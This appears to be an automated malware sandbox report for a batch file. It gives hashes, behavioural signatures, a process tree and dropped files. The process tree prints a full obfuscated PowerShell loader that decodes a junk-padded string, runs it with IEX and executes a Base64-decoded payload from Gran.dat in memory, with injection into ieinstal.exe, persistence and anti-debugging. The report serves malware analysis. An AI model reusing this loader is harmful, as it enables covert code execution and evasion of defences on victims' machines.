Analysis

  • max time kernel
    299s
  • max time network
    335s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    25-11-2022 03:33

General

  • Target

    Run-VBS-1.bat

  • Size

    26B

  • MD5

    b7c4c74c2be103888999b98cabe11762

  • SHA1

    72f9c3131b22688b6d9774f7d0e0bdf7af52fc1c

  • SHA256

    aec5f3164db58aad2fed2cf82f64c64053656e2e7990318711646a12ef9f5287

  • SHA512

    40d65b504b0b830fd5de0503f041d99fe0cfcecf864a8be63a7159676b29c4b535c4481dc3afa4d4c2b6f8cf7f8d453ffc2e39825953401c9aedd66e21b0f60e

Score
7/10

Malware Config

Signatures

  • Checks QEMU agent file 2 TTPs 2 IoCs

    Checks presence of QEMU agent, possibly to detect virtualization.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Run-VBS-1.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1312
    • C:\Windows\system32\cscript.exe
      cscript.exe Client.vbs A C
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2044
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Derea = """StdATildApodGel-CraTLymyDompSyveAkt Shr-tilTCrayLogpFiseForDCloeSnifGyniFronTeliSkutSlgiMisoilsnReo Epo'FlauPresByoiUninFingUnp RedSGnoyPresEuptFedeudbmHea;ResuSelsBoliNatnAntgLej MobSBrayFissDabtindeafvmflo.KarROpsuKamnAbotMdeihypmPoreKod.ButIWinnsygtMareTanrPuboHalpBraSUdfeLetrNorvPlaikrecUnseSkesSem;asepSkyuBlabSmklRefiCuscSne StasDomtFacaNartTariBracsme MafcdemlParaIdksSrbsPri SdeTWourOplaMetcMonhTeleYojaBiltVreiVra1Dus Aut{Cin[OveDSellSamlFloIHekmSanpFluooxirUnltGyn(Kai`"""SnowElgiEacnMoomEydmCer.gardHewlPollNol`"""Ele)Frn]PorpKuruBydbTrolsekiPercPla NicsScltAaraDretCheiInfcRee UnbeAutxSuptmvheStirUndnTil WamiResnSertCit GummAnuiOzodSlsiJelOVanuAdrtAudRUndesposPuseAfftRes(PorilornMw tPrv NosHOrnahjtmHusaDin)Tal;dis[PenDLislParlAscINepmUnspratoPibrDemtToh(Ady`"""NonkUrgeFolrlasnHeteBeslMaq3Sla2Spa`"""Kan)Fod]DispUveuPenbBorlcasiParcSki EsksRritSamaRaatCurigrfcMis PaneTraxBastTroeInvrPyrnRip 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LigeTekxSaltTraeUverRounWid UniIBognSydtUnpPGartEksrFod OmnCAptasuplKatlDatWHaliHepnRygdColoSemwNonPSterRewoGarcUbeWNub(tobIHjenKomtbarPMagtAbsrPil StrPThrrPauoNarsRibeesslPliyEmi5Unm,antianinFlatTra PenPReirRekoUstsrepeEndlNasySan6Cou,PriiCounTiltUdl TigPIrrrGldoRemsSereMytlMonyBer7Hug,MaciblonBistSls elePVesrStooShisGaleReclRidySpu8She,EsciGoonFrotIvy ExgPBoorStioUnrsproeAnslForyUnd9Mez)for;Hip[freDUnslFillYelIDatmPlapBetobesrpretSer(Non`"""TrikendeMetrkodnSmaeBrulFod3Dag2Can`"""Sou)Ind]GrapSkeuSocbErslSiliMascUds VissStetSlaaProtSh iPoscSka TrieUntxPretUdgeThurSaynAnf MosiZoonDistEne OveCleirUdbeUnhaPoltouteAmiDSkiiBehrHypeVolcVistOpsoFrorForyBul(VeniUrinTaftWak CraMTilaTmmnBondMarrOil,ErriPernSittEmu SlaFTerrMamaStovCatrSirsDyn)Ste;Tje[SemDYvelAdalHypIBalmPalpArboDalrSertFli(Tre`"""CalkNodeDihrFalnLyreAablLnm3Ing2Und`"""Ste)Sug]DagpOveuKaibLanlOutihalcFej VissUnqtBrlaDoutfoliCoccApp frieQuaxCartStoeHobrSkunLum RepiBehnPoltNee EmpMKedoLitvOmveShiFFraiWerlMazeTerESkixgen(IroiFionHartjin ConCDefhHypoRadnDisdDiprCon,ForiFranFortPli NonBborahypgImmlJudyLib,BadiPsenGyrtAri UnrKPrioRntmSil)und;Vaa[NavDShrlElelColIPolmJerpStroGrnrFantEmb(Lun`"""ExowCapiSnanPromBromAfs.KondUltlDenlMer`"""Vit)For]lftpThouAfvbTunlSuliBalcOce UnasAnttAmtaTrotConiSupcIde MiseAmbxFyntKlueForrrdvnSmi ProiRulnmertOps RetmDolihaexLooeSenrNilCKoglstaoRhysVekehem(FamiunpnMettTox udsSKeroPolnCeleKoo)Bje;Ano[TryDBiglWralVidIPhomnovpleaoBrerElytCac(Pla`"""DodiGlymGrimAgg3Con2Hom.AlldMeglSanlWea`"""Ski)Iri]KlipHiruRambplalAbbiElscQua lonsFlotSunaUndtUneiRidcfll HypeTirxUnftLeuePrerAflnFor enaiResnVovtFra JudIDramdecmEtaGIndeDritToaVMetiVddrAcotScouAlbaPhyldagKFadeRanySno(YakiLamnTratMan SitSLynvKvleDhadForkDog)Bug;Mil[DepDStalKonlAfpIElemPinpUdboPrerBiotPaa(Yar`"""LdekRoneArbrResnMonePetlPse3Ure2Bas`"""saf)Tjr]PropPlaumisbDislTreiSnecapa TsnsDebtFejaCurtBlaiEtycRam UndetanxUnetSmaeradrPranEdu ExtiAbjnKantSmr DefVMesiBonrKohtBiguKriathelrefARealTunlAbsoDeccrev(SubiCarnSprtAce ForvEve1Und,faniAuknRastFor ProvSik2Kne,OpviWignProtRef HemvMak3Spe,CadiUdlnPretMot penvBud4Sek)For;Sci[RulDKuvlJoklradIRommHirpNoroBlirSvitMon(Pns`"""PrewPoriGranBarsThipForoGenoOvelEsk.InsdMoarInevUnc`"""Glg)Non]KafpAquuTrabRedlpteiHovcLod FrosReftBaaaPentLoviTracSup LaneRykxBrutSokeHomrFornDem KatiBudnContArs ArcDAareVaglprieDamtReveXylPMrkrOmniPrenSlatProePhyrKalCPreoConnTranruteAnscStetPeriDeboAllnNon(KaliTranLyntGer VelTopgiStilUomrDat)Fje;Mon[ExhDunilGenlDelITygmBobpophoHrirBiltCri(Ren`"""PaauThrsSpreAalrBnn3und2Wan`"""Sch)Hie]PsepMamuFajbBirlColiTracTea SunsDdetMalaBedtAesiTrucEnv NedeJouxBlutskaeKasrBasnTus FrdichenUintMon encASubtFortDevaBamcCrahCroTForhhearOpieHalaTegdTipITernUdepQuouGartBro(UnsiSinnStatDis OphGPeaoskakStr,spailatnAvetmon OverFakiphogMenhban,UnbiPacnJamtBal VisTPhleTumkFis)Pre;Hjr[MorDFlolTrilPinITipmovepBogoKasrVogtAfs(For`"""ForuNubsPluePhyrPhe3Pru2Sug`"""Des)Ami]AnspUleuBinbForlPeriBescsle BansBiltTeaaradtTekiFodcTra TileBekxSyntbiteQuirRumnQua DagiDefnMistFor NecISornIgavAceaDemlSeliPubdGodaIndtTheeVirRReneTwicCostEks(OveiPahnAfstTac ReiCEksoretvOkseOve,FabiAttnUnstRen SalVJoraUdblOpkdrekeUng,RrliacenBantUdl ParIStulTruysausAssiSca)ped;Elm}Vis'Xer;Cou`$RedTBagrTilaBndcProhnejeOleaMontForiDru2Uds=Kva`$StreSecnClivIns:MaatTraeTilmEngpAkh Sar+ang Cha`"""duk\SaaGSolrAlgaskrnGna.MildPaaaLantVil`"""Sko;Acr`$AmaLLevnBotkTaxeNidrAhasNeusGuetEureSchrCel Acc=Imp KorGForepibtpri-farCcryoPopnMultCareTitnKrutViv Pri`$OplTdigrAmoaGencUnphDifemacaBlutpauiinv2Fro;Amb`$VanBFlgeUnisInvvCouoUopgAdfrChueStadVil Sel=Opb Col[KapSRepyPresChotPapeKukmMal.PreCRetoImbnflbvForeMinrKontGal]Kni:vas:TelFAccrcaroPramHowBSpuaBacscomePan6Spl4hedSFretIndrEnsiFennBragCle(ski`$MelLNamnSlakcareSuprHunsForsUnbtSameCaprBut)Tut;upd`$AkvTRivrRolaSlacudkhaareBetaNontretiDum3Rea=Egl[GavTVarrTaraHancTrihMuneUnpaDiatPhyiBru1Eve]Ash:Rom:RevVDisiMyxrTrotAnmuBasaBetlBesATellHanlbaioFaccSpo(enk0Bol,Chl1Adm0Men4Ren8Sko5Hel7til6Sar,Dis1Dyn2Tal2Pro8The8Kar,Sen6ver4Eft)Lac;Sub[PanSFamyShrsSkitbabeUdlmPro.TimRRecuFrenSkitBooiMarmInteama.AftIZannAfptDeneGifrannoBespNeuSConeWoorTohvFamiSticMoneSnosSnn.BemMAkvaAugrTiesStrhBrkaDialSiv]Pro:Mon:SinCtapoKrnpLivyBla(Uno`$appBNosekansBedvCyboTangLearBefeSpadCyp,Bnd Hus0Rec,ary Vap Cub`$CanTLobrMaraHazcReshPapeForaUdstSkiiCru3The,Ker Kvr`$OpbBSchestusSonvPreoBergPrerForeSpydLor.UnscSlooKlauNonncaltLil)Dau;Lev[HysTIndrTooaStacFlahGameBloaasctUnliflo1Gra]Uku:Ave:amiCPolaUndlabnlCerWoveiSubnRavdUdboStawSolPBalrAnioSyncuniWVis(Tmr`$AutTCharAdiaRekcUnrhLaceBacaPantMariIag3Dre,Fir Oms0Nos,Bev0Lde,Kop0Udl,Non0Ind)Taf#Kil;""";Function Tracheati4 { param([String]$HS); For($i=3; $i -lt $HS.Length-1; $i+=(3+1)){ $Prosely = $Prosely + $HS.Substring($i, 1); } $Prosely;}$symbiosens0 = Tracheati4 'CitIAmpEHeaXSco ';$symbiosens1= Tracheati4 $Derea;& ($symbiosens0) $symbiosens1;"
        3⤵
        • Checks QEMU agent file
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:276
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jr3mynp3.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1192
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES71A9.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC7198.tmp"
            5⤵
              PID:1772
          • C:\Program Files (x86)\internet explorer\ieinstal.exe
            "C:\Program Files (x86)\internet explorer\ieinstal.exe"
            4⤵
            • Checks QEMU agent file
            • Adds Run key to start application
            • Suspicious use of NtCreateThreadExHideFromDebugger
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of SetWindowsHookEx
            PID:1568

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Gran.dat

      Filesize

      145KB

      MD5

      f8aa322d9439db5928769bbe829f3072

      SHA1

      965728def507bf74d495aaae6a67dec68e5a3355

      SHA256

      4c1a9a92d1f77a38d54b9fb583d905cbdb81362e3dc79dbec7a6477ae6463d08

      SHA512

      163db7c96d2739435e65367e18dca23a4c1426061d8df44a4a6b6ddcdd016a613169a6fe91786f46c7f1f3f60422a31bed1d23960418ec2d9a3b145fd87ee0ae

    • C:\Users\Admin\AppData\Local\Temp\RES71A9.tmp

      Filesize

      1KB

      MD5

      6b639c8d04405201249151c2b09ea618

      SHA1

      23dd80426c81c632433d95dc8bc162cca5ef4448

      SHA256

      51201c7f0818d2126782c6a9f9a859b891c1e9e628b0f377b1ce177bb31f1087

      SHA512

      fddf3570cb1af67ad1f3855ec31c488db2a3da3ca2dca532d15e796ad2f05a598a7118869f0466e18b9afe7514fa57e31519814967c160df00a03c8e64cebc25

    • C:\Users\Admin\AppData\Local\Temp\jr3mynp3.dll

      Filesize

      4KB

      MD5

      9d9f584d6532f3c52c2f25d52466379e

      SHA1

      732e0f61dda0c01d8f542b515042169db3d20461

      SHA256

      9c778497e98bd819cf286838e6e919fbb3a059367b3d96dde79be051c167eb29

      SHA512

      cd93f0cc93701658c51d4f1fb668dad3e3bdeb1354bcf7f3786d3f6f8f2e918ca0a475e3910475644d094e61f93e3b2079f8e63e5a819359223dcfab2e5af994

    • C:\Users\Admin\AppData\Local\Temp\jr3mynp3.pdb

      Filesize

      7KB

      MD5

      a92df49c66e38ed85c6836f8d83c68be

      SHA1

      3d022e9da3754353a2f4004502d374c6a1df2313

      SHA256

      d601f61fa4c9d87ffac5e2262b166b2817d1a72f4351b70523aedfc1b707842b

      SHA512

      ca4a7ca15fcb180bf6bd480a3d2599a61d2fb8fa9017e87ae640b5f7b787dc9c9c6ed46116fd3879feb43a42027a713353e69106bf815e56b4cd52fdd4e83f8f

    • \??\c:\Users\Admin\AppData\Local\Temp\CSC7198.tmp

      Filesize

      652B

      MD5

      b31ec797043db364596f19ee701dcb9e

      SHA1

      9146b80c274594d63491672ca9a8c0178a2f2ad2

      SHA256

      22d9c551a14310c0b3f1d4bb8fa9df3da47b8f062327ed31402c7e170f3e2cd5

      SHA512

      dedc499b76323e3cb57a2c2bbe8de576c9c37ee38e1ac3fd7ec33b5d1fe0a7d228ccee9ce67a8d628c992a99c30fb1752238b8f7e769c569904165fa154539cd

    • \??\c:\Users\Admin\AppData\Local\Temp\jr3mynp3.0.cs

      Filesize

      1KB

      MD5

      d4de9651ff0de82d29338c81aa6e5885

      SHA1

      acec3aa0a3d399927828f4975e5193a2727c7aa8

      SHA256

      d70e9a0ad03b8c827666c59d74addc16a72244a73ae85fe9a10bf5ea0cf4d5d5

      SHA512

      458333575625e306dac458b1274d7db85ea023d84f8fc958cdc41a2b65bb5192fa6f581348eb6b20ba1db10c635bbe18d1bc80fe2e4aeccdb76d1971b753a283

    • \??\c:\Users\Admin\AppData\Local\Temp\jr3mynp3.cmdline

      Filesize

      309B

      MD5

      91d282754fd65bc247bc93f874b6c428

      SHA1

      8e280f8676b9db42266dbf649e522df7f7556959

      SHA256

      e9d2f1b85418b8e1b44314726125cb0fc481c1cfe247b89456088e07b9870d79

      SHA512

      47605f73e5eead8b33af8450abb6ecbae0fe0f13908543027b4434da72614d845e98fa47d7deaecd88b1a373e84e0018787d741367a16921e0fb824f5fc18dfc

    • memory/276-68-0x00000000050B0000-0x00000000051B0000-memory.dmp

      Filesize

      1024KB

    • memory/276-86-0x00000000050B0000-0x00000000051B0000-memory.dmp

      Filesize

      1024KB

    • memory/276-76-0x0000000077AE0000-0x0000000077C60000-memory.dmp

      Filesize

      1.5MB

    • memory/276-58-0x0000000074380000-0x000000007492B000-memory.dmp

      Filesize

      5.7MB

    • memory/276-57-0x0000000075BA1000-0x0000000075BA3000-memory.dmp

      Filesize

      8KB

    • memory/276-56-0x0000000000000000-mapping.dmp

    • memory/276-87-0x0000000077AE0000-0x0000000077C60000-memory.dmp

      Filesize

      1.5MB

    • memory/276-77-0x0000000077AE0000-0x0000000077C60000-memory.dmp

      Filesize

      1.5MB

    • memory/276-69-0x0000000074380000-0x000000007492B000-memory.dmp

      Filesize

      5.7MB

    • memory/276-70-0x00000000050B0000-0x00000000051B0000-memory.dmp

      Filesize

      1024KB

    • memory/276-80-0x0000000077AE0000-0x0000000077C60000-memory.dmp

      Filesize

      1.5MB

    • memory/276-79-0x0000000077AE0000-0x0000000077C60000-memory.dmp

      Filesize

      1.5MB

    • memory/276-75-0x0000000077900000-0x0000000077AA9000-memory.dmp

      Filesize

      1.7MB

    • memory/1192-59-0x0000000000000000-mapping.dmp

    • memory/1568-74-0x0000000000090000-mapping.dmp

    • memory/1568-78-0x0000000000090000-0x0000000000190000-memory.dmp

      Filesize

      1024KB

    • memory/1568-81-0x0000000000090000-0x0000000000190000-memory.dmp

      Filesize

      1024KB

    • memory/1568-73-0x0000000000090000-0x0000000000190000-memory.dmp

      Filesize

      1024KB

    • memory/1568-85-0x0000000077900000-0x0000000077AA9000-memory.dmp

      Filesize

      1.7MB

    • memory/1772-62-0x0000000000000000-mapping.dmp

    • memory/2044-54-0x0000000000000000-mapping.dmp

    • memory/2044-55-0x000007FEFC181000-0x000007FEFC183000-memory.dmp

      Filesize

      8KB